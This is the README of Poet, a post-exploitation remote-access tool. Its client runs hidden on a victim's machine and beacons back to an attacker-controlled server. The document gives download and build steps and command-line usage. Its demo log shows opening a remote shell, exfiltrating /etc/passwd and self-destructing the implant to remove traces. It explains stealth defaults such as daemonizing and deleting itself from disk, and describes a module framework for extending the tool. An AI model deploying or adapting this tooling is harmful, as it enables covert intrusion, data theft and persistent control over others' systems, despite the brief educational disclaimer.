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poet

A simple POst-Exploitation Tool.

overview

The client program runs on the target machine and is configured with an IP address (the server) to connect to and a frequency to connect at. If the server isn't running when the client tries to connect, the client quietly sleeps and tries again at the next interval. If the server is running however, the attacker gets a control shell to control the client and perform various actions on the target including:

  • reconnaissance
  • remote shell
  • file exfiltration
  • download and execute
  • self destruct

demo

This is just a small sample of what Poet can do.

The scenario is, an attacker has gotten access to the victim's machine and downloaded and executed the client. She does not have the server running at this point, but it's ok, the client waits patiently. Eventually the attacker is ready and starts the server, first starting a shell and executing uname -a, then exfiltrating /etc/passwd. Then she exits and detaches from the client, which continues running on the target waiting for the next opportunity to connect to the server. Later, she connects again, self-destructing the client, removing all traces from the target.

Victim's Machine (5.4.3.2):

$ ./poet-client 1.2.3.4 10  # poet-client daemonizes, so there's nothing to see

Warning: After running this command, you'll need to either run selfdestruct from the server, or kill the poet-client process to stop the client.

Attacker's Machine (1.2.3.4):

$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
  chint
  dlexec
  exec
  exfil
  exit
  help
  recon
  selfdestruct
  shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server

                          _
        ____  ____  ___  / /_
       / __ \/ __ \/ _ \/ __/
      / /_/ / /_/ /  __/ /
     / .___/\____/\___/\__/
    /_/

[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
    You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated

getting started

Go to the releases page and download the latest poet-client and poet-server files available.

Then skip to the Usage section below.

Alternatively, you can build Poet yourself (it's pretty easy, see below).

building

Make sure you have the python2.7 and zip executables available.

$ git clone https://github.com/mossberg/poet
$ cd poet
$ make

This will create a bin/ directory which contains poet-client and poet-server.

usage

Poet is super easy to use, and requires nothing more than the Python (2.7) standard library. To easily test it out, a typical invocation would look like:

Terminal 1:

$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct

By default, the Poet client daemonizes and deletes itself from disk, so that behavior is suppressed using the --debug and --no-selfdestruct flags.

Terminal 2:

$ sudo ./poet-server

By default, the server needs to be run as root (using sudo) because the default port it binds to is 443. If that makes you uncomfortable, simply omit sudo and use the -p <PORT> flag on both the client and server. Pick a nice, high number for your port (> 1024).

configuration

The common/config.py file contains various optional configuration settings for Poet builds.

  • AUTH: Secret authentication token shared between the client and server for client authentication. Note that the default one is anything but secret. For any non-testing usage, it is recommended to change it to another unguessable value. Note that pre-built packages use the default, public authentication token.
  • ARCHIVE_DIR: Directory used by the server to store files (exec output, exfil, recon, etc).
  • SERVER_IP: IP address of the server.
  • BEACON_INTERVAL: Seconds between client beacons to the server.

The SERVER_IP and BEACON_INTERVAL configurations allow information previously required in command line arguments to be baked into the final executables such that the final executable can simply be executed with no arguments. Values of None for either of them cause them to revert to default behavior (required command line arg for SERVER_IP, optional command line argument for BEACON_INTERVAL).

client

$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
                   IP [INTERVAL]

positional arguments:
  IP                    Poet Server
  INTERVAL              Beacon Interval, in seconds. Default: 600

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  --debug               show debug messages. implies --no-daemon
  --no-daemon           don't daemonize
  --no-selfdestruct     don't selfdestruct

Poet is a client/server application. The client is executed on the target and beacons back to the server at a certain time interval. The only required argument is the IP address where the server is or will be running. Following it can optionally be the time interval in seconds of how frequently to beacon back, which defaults to 10 minutes. The port for the client to beacon out on can be specified with the -p flag. All other flags would not be used during "real" usage and exist mainly for debugging.

server

$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT
  -v, --version         prints the Poet version number and exits

The server is executed on the user's own machine and listens for beacons from the client. By default, it listens on a privileged port (443) and must be run with privileges (which are quickly dropped after binding). The -p flag can be used to bypass this by selecting an unprivileged port to listen on (>1024).

extensibility

Poet is highly extensible through its module framework, in fact, nearly every command available at the posh shell is implemented as a module. They can be viewed in the common/modules/ directory. The common/modules/template.py serves as a barebones example module, to be used as a starting point. To add a Poet module, simply place it into the common/modules/ directory and rebuild Poet using make.

Here is a simple example module showing basic communication between the client and server. The module registers a posh command, sends a string over, the client reverses it and sends it back, and the server prints it out.

# Note: this module doesn't check if an argv[1] was given

import module


@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)


@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

The module begins with

import module

This is required, and is needed to register with the module framework.

The next section is the server-side component of the module.

@module.server_handler('reverse')
def server(server, argv):
    print 'Sending: {}'.format(argv[1])
    # argv here is ['reverse', ...]
    response = server.conn.exchange(' '.join(argv))
    print 'Received: {}'.format(response)

The @module.server_handler() decorator is used to register a posh command by passing in the command name as a decorator parameter and defining a handler function to execute when the command is run. The handler function must accept two parameters. One is the instance of the PoetServer that called the module, and the other is the command string entered, represented as a list of arguments. The server instance exists for the module to be able to use helper functions for communicating with the client, writing files to the archive directory, etc. The module uses server.conn.exchange() to send the command line entered as a string to the client and get the response as the return value.

The client-side component of the module is next.

@module.client_handler('reverse')
def client(client, inp):
    # inp here is 'reverse ...'
    client.s.send(inp.split()[1][::-1])

The @module.client_handler() decorator is used to register a task for the client to react to and process. Since the client and server communicate by passing strings between them the first part of the string is the keyword for a particular task. The module registers a client handler function to execute when a message comes in from the server starting with 'reverse'. Similar to the server handler, the client handler must accept parameters for the instance of the PoetClient which called it, and the input string passed from the server. The client then uses the client.s.send() function to send data back to the server, in this case, the first argument, reversed.

In action, this looks like

posh > reverse poet
Sending: poet
Received: teop

concerns

Documented concerns:

  • lack of cryptographically protected communications
  • low interval beacons are noisy and generate TCP RSTs when the server is inactive
  • shell command is not a "real" shell and does not support most builtins found in standard shells

disclaimer

I am building Poet purely for my own education and learning experience. The code is freely available because I think it might be useful to others interested in learning about this sort of thing. Use it responsibly.